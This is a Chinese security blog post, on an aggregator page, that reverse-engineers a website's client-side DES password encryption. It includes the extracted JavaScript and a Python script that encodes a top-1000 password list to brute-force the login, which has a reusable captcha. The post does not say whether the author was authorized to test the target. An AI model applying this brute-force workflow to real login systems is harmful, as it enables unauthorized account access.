惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Engineering at Meta
Engineering at Meta
博客园_首页
J
Java Code Geeks
Jina AI
Jina AI
B
Blog RSS Feed
量子位
有赞技术团队
有赞技术团队
M
MIT News - Artificial intelligence
L
LangChain Blog
Microsoft Security Blog
Microsoft Security Blog
小众软件
小众软件
博客园 - 聂微东
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 三生石上(FineUI控件)
Last Week in AI
Last Week in AI
MongoDB | Blog
MongoDB | Blog
I
InfoQ
罗磊的独立博客
H
Hackread – Cybersecurity News, Data Breaches, AI and More
爱范儿
爱范儿
Y
Y Combinator Blog
Vercel News
Vercel News
雷峰网
雷峰网

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本 蓝帽杯 2022 Writeup
记一次 JS 逆向密码加密
2023-02-10 · via Hi, I Am I

今天漫游某单位资产的时候,发现了一个站点,反手 admin/admin 测一下,提示 密码不正确,输入 admin1/admin1 提示 用户不存在 ,同时 验证码 还可以重复使用,这不得 top1000 跑一下

image-20230210141241348

F12 查看一下网络请求,发现验证码被添加到了 Cookie 里面,但既然可以复用,我们就不管了,其次 载荷 里的数据被加密了

userName: QEAqMWFkbWluaG5zaA==
password: QEAqMTk2ZjFhNjZiNjBkZjI1YWVobnNo

根据多年CTF经验,直接 Base64 解码

userName: @@*1adminhnsh
password: @@*196f1a66b60df25aehnsh

观察数据发现头尾的 @@*1hnsh 是固定的,同时用户名未经过加密直接是 admin,密码经过了加密处理,我们点击启动器看看调用堆栈

image-20230210142153313

点击后会自定跳转到相应的代码片段,我们看到通过 ajax 发送了一个 POST 请求,url/login.do,参数来自 JsonData

var JsonData = { login: encodeString(login), pwd: encodeString(afterEncrypt), code: code };

其中 pwd 参数通过 encryptByDES() 处理了一下

var afterEncrypt = encryptByDES(pwd);

我们给 afterEncryptJsonData 打上断点

image-20230210142256262

我们再次点击提交数据,发现已经在预定的位置断点成功了,我们点击进入 下一个函数调用 去查看一下 encryptByDES() (直接全局搜索 encryptByDES 也可以 )

image-20230210143025884

我们看到了关键代码

var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";

function encryptByDES(content) {
    var key=define;
    key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
    var keyHex = CryptoJS.enc.Utf8.parse(key);
    var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
    var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
        iv: ivHex,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });
    return encrypted.ciphertext.toString();
}

然后我们一直点击 跳过下一个函数调用 即可,最后发现 JsonData 已经被正确赋值了

image-20230210143116843

image-20230210143215083

encryptByDES() 调用了 crypto-js 库扣取代码过程有点繁杂,我们直接使用 NodeJS 中转一下,直接使用 npm install crypto-js,在代码中引用即可,然后粘贴我们抠出来的代码,同时改一下 return,加上固定的头尾

const CryptoJS = require('crypto-js');

var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";

function encryptByDES(content) {
    var key=define;
    key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
    var keyHex = CryptoJS.enc.Utf8.parse(key);
    var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
    var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
        iv: ivHex,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });
    return strPre + encrypted.ciphertext.toString() + strSuf;
}

其实直接使用 NodeJS 也行,但是感觉还是 Python 方便点,正好学一下 execjs 的使用,记得先对照一下自己写的代码加密数据是否和网站加密的数据一致

import execjs
import base64

def encryptByDES(content):
    js_code = open("enc.js").read()
    ctx = execjs.compile(js_code)
    return ctx.call("encryptByDES", content)

if __name__ == '__main__':
    with open("top1000.txt", "r") as f:
        for line in f:
            a = encryptByDES(line).encode("utf-8")
            b = base64.b64encode(a).decode("utf-8")
            with open("pass.txt", "a") as f:
                f.write(b + "\n")